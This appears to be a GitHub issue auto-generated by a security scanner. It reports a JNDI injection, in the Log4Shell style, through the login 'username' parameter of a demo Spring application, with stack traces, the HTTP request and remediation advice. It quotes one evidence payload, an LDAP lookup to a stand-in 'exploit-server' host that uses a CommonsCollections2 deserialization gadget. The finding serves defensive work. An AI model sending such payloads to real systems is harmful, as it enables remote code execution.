Skip to content

CONTRAST: JNDI Injection from "username" Parameter in org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter.doFilter(javax.servlet.ServletRequest,javax.servlet.ServletResponse,javax.servlet.FilterChain) #12

@jason-at-contrast

Description

@jason-at-contrast

Vulnerability ID: UEAC-ZO6L-6K5Y-PCT7

Application Name: CargoCats-contrast-cargo-cats-frontgateservice

Vulnerability Link: https://eval.contrastsecurity.com/Contrast/static/ng/index.html#/545a3bce-97c5-4732-af38-1ac459087b0a/applications/0f3e06e4-d3c5-47a3-a2ce-ce43b8dc3e17/vulns/UEAC-ZO6L-6K5Y-PCT7

What Happened?

We tracked the following data from "username" Parameter:

POST /login

...which was accessed within the following code:

com.contrast.frontgateservice.service.CustomUserDetailsService#loadUserByUsername(), line 24

rule.evidence.jndi.injection

ldap://exploit-server:1389/serial/CommonsCollections2/sleep/1000

What's the risk?

The application takes untrusted data from the user and uses it to perform a Java Naming and Directory Interface (JNDI) lookup. Made infamous by the Log4Shell vulnerability in Log4j2, untrusted data in JNDI injections can easily escalate to remote code exploits (RCE). While the default security configuration of Java 11+ typically prevents {{#emphasize}}most{{/emphasize}} escalations to RCE, attackers can still take advantage of untrusted deserialization gadgets on the application's class path to escalate to RCE through a JNDI lookup.

Recommendation

Untrusted data should never be used in a Java Naming and Directory Interface (JNDI) lookup. If your application requires dynamic JNDI lookups, then restrict those lookups to a known set of safe values using a validator function.

Check out our AI-generated Intelligent Remediation Guidance! https://eval.contrastsecurity.com/Contrast/static/ng/index.html#/545a3bce-97c5-4732-af38-1ac459087b0a/vulns/UEAC-ZO6L-6K5Y-PCT7/overview/recommendation

First Event


Stack:
  javax.servlet.ServletRequestWrapper.getParameter(ServletRequestWrapper.java:149)
  org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter.obtainUsername(UsernamePasswordAuthenticationFilter.java:115)
  org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter.attemptAuthentication(UsernamePasswordAuthenticationFilter.java:77)
  org.springframework.security.web.authentication.AbstractAuthenticationProcessingFilter.doFilter(AbstractAuthenticationProcessingFilter.java:223)
  org.springframework.security.web.authentication.AbstractAuthenticationProcessingFilter.doFilter(AbstractAuthenticationProcessingFilter.java:213)
  org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:346)
  org.springframework.security.web.authentication.logout.LogoutFilter.doFilter(LogoutFilter.java:103)
  org.springframework.security.web.authentication.logout.LogoutFilter.doFilter(LogoutFilter.java:89)
  org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:346)
  org.springframework.security.web.header.HeaderWriterFilter.doHeadersAfter(HeaderWriterFilter.java:90)
  org.springframework.security.web.header.HeaderWriterFilter.doFilterInternal(HeaderWriterFilter.java:75)
  org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)
  org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:346)
  org.springframework.security.web.context.SecurityContextPersistenceFilter.doFilter(SecurityContextPersistenceFilter.java:110)
  org.springframework.security.web.context.SecurityContextPersistenceFilter.doFilter(SecurityContextPersistenceFilter.java:80)
  org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:346)
  org.springframework.security.web.context.request.async.WebAsyncManagerIntegrationFilter.doFilterInternal(WebAsyncManagerIntegrationFilter.java:55)
  org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)
  org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:346)
  org.springframework.security.web.FilterChainProxy.doFilterInternal(FilterChainProxy.java:221)
  org.springframework.security.web.FilterChainProxy.doFilter(FilterChainProxy.java:186)
  org.springframework.web.filter.DelegatingFilterProxy.invokeDelegate(DelegatingFilterProxy.java:354)
  org.springframework.web.filter.DelegatingFilterProxy.doFilter(DelegatingFilterProxy.java:267)
  org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:178)
  org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:153)
  org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100)
  org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)
  org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:178)
  org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:153)
  org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93)
  org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)
  org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:178)
  org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:153)
  org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201)
  org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)
  org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:178)
  org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:153)
  org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:167)
  org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:90)
  org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:481)
  org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:130)
  org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:93)
  org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74)
  org.apache.catalina.valves.RemoteIpValve.invoke(RemoteIpValve.java:768)
  org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:343)
  org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:390)
  org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:63)
  org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:926)
  org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1791)
  org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:52)
  org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191)
  org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
  org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
  java.base/java.lang.Thread.run()

Last Event

Stack:
  java.naming/javax.naming.InitialContext.lookup()
  org.apache.logging.log4j.core.net.JndiManager.lookup(JndiManager.java:172)
  org.apache.logging.log4j.core.lookup.JndiLookup.lookup(JndiLookup.java:56)
  org.apache.logging.log4j.core.lookup.Interpolator.lookup(Interpolator.java:221)
  org.apache.logging.log4j.core.lookup.StrSubstitutor.resolveVariable(StrSubstitutor.java:1110)
  org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1033)
  org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)
  org.apache.logging.log4j.core.lookup.StrSubstitutor.replace(StrSubstitutor.java:467)
  org.apache.logging.log4j.core.pattern.MessagePatternConverter.format(MessagePatternConverter.java:132)
  org.apache.logging.log4j.core.pattern.PatternFormatter.format(PatternFormatter.java:38)
  org.apache.logging.log4j.core.layout.PatternLayout$PatternSerializer.toSerializable(PatternLayout.java:344)
  org.apache.logging.log4j.core.layout.PatternLayout.toText(PatternLayout.java:244)
  org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:229)
  org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:59)
  org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.directEncodeEvent(AbstractOutputStreamAppender.java:197)
  org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.tryAppend(AbstractOutputStreamAppender.java:190)
  org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.append(AbstractOutputStreamAppender.java:181)
  org.apache.logging.log4j.core.config.AppenderControl.tryCallAppender(AppenderControl.java:156)
  org.apache.logging.log4j.core.config.AppenderControl.callAppender0(AppenderControl.java:129)
  org.apache.logging.log4j.core.config.AppenderControl.callAppenderPreventRecursion(AppenderControl.java:120)
  org.apache.logging.log4j.core.config.AppenderControl.callAppender(AppenderControl.java:84)
  org.apache.logging.log4j.core.config.LoggerConfig.callAppenders(LoggerConfig.java:540)
  org.apache.logging.log4j.core.config.LoggerConfig.processLogEvent(LoggerConfig.java:498)
  org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:481)
  org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:456)
  org.apache.logging.log4j.core.config.AwaitCompletionReliabilityStrategy.log(AwaitCompletionReliabilityStrategy.java:82)
  org.apache.logging.log4j.core.Logger.log(Logger.java:161)
  org.apache.logging.log4j.spi.AbstractLogger.tryLogMessage(AbstractLogger.java:2205)
  org.apache.logging.log4j.spi.AbstractLogger.logMessageTrackRecursion(AbstractLogger.java:2159)
  org.apache.logging.log4j.spi.AbstractLogger.logMessageSafely(AbstractLogger.java:2142)
  org.apache.logging.log4j.spi.AbstractLogger.logMessage(AbstractLogger.java:2034)
  org.apache.logging.log4j.spi.AbstractLogger.logIfEnabled(AbstractLogger.java:1899)
  org.apache.logging.log4j.spi.AbstractLogger.info(AbstractLogger.java:1444)
  com.contrast.frontgateservice.service.CustomUserDetailsService.loadUserByUsername(CustomUserDetailsService.java:24)
  org.springframework.security.authentication.dao.DaoAuthenticationProvider.retrieveUser(DaoAuthenticationProvider.java:94)
  org.springframework.security.authentication.dao.AbstractUserDetailsAuthenticationProvider.authenticate(AbstractUserDetailsAuthenticationProvider.java:133)
  org.springframework.security.authentication.ProviderManager.authenticate(ProviderManager.java:182)
  org.springframework.security.authentication.ProviderManager.authenticate(ProviderManager.java:201)
  org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter.attemptAuthentication(UsernamePasswordAuthenticationFilter.java:85)
  org.springframework.security.web.authentication.AbstractAuthenticationProcessingFilter.doFilter(AbstractAuthenticationProcessingFilter.java:223)
  org.springframework.security.web.authentication.AbstractAuthenticationProcessingFilter.doFilter(AbstractAuthenticationProcessingFilter.java:213)
  org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:346)
  org.springframework.security.web.authentication.logout.LogoutFilter.doFilter(LogoutFilter.java:103)
  org.springframework.security.web.authentication.logout.LogoutFilter.doFilter(LogoutFilter.java:89)
  org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:346)
  org.springframework.security.web.header.HeaderWriterFilter.doHeadersAfter(HeaderWriterFilter.java:90)
  org.springframework.security.web.header.HeaderWriterFilter.doFilterInternal(HeaderWriterFilter.java:75)
  org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)
  org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:346)
  org.springframework.security.web.context.SecurityContextPersistenceFilter.doFilter(SecurityContextPersistenceFilter.java:110)
  org.springframework.security.web.context.SecurityContextPersistenceFilter.doFilter(SecurityContextPersistenceFilter.java:80)
  org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:346)
  org.springframework.security.web.context.request.async.WebAsyncManagerIntegrationFilter.doFilterInternal(WebAsyncManagerIntegrationFilter.java:55)
  org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)
  org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:346)
  org.springframework.security.web.FilterChainProxy.doFilterInternal(FilterChainProxy.java:221)
  org.springframework.security.web.FilterChainProxy.doFilter(FilterChainProxy.java:186)
  org.springframework.web.filter.DelegatingFilterProxy.invokeDelegate(DelegatingFilterProxy.java:354)
  org.springframework.web.filter.DelegatingFilterProxy.doFilter(DelegatingFilterProxy.java:267)
  org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:178)
  org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:153)
  org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100)
  org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)
  org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:178)
  org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:153)
  org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93)
  org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)
  org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:178)
  org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:153)
  org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201)
  org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)

HTTP Request

POST http://cargocats.localhost:80/login HTTP/1.1
Accept: /
Accept-Encoding: gzip, deflate
Content-Length: 124
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=93D342466961E9C9EB6B5FED9C6E1BD2
Host: cargocats.localhost
User-Agent: python-requests/2.31.0
X-Forwarded-Host: cargocats.localhost
X-Forwarded-Port: 80
X-Forwarded-Proto: http
X-Forwarded-Scheme: http
X-Real-Ip: 10.1.5.76
X-Request-Id: d13d5ec3a329372bca1ac28e154f8b3e
X-Scheme: http

=contrast-redacted-body

References

https://owasp.org/Top10/A03_2021-Injection/

Session ID: eeb7a07a32284bacbd32ec513b0b4147
artifactHash: b91aebb6

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions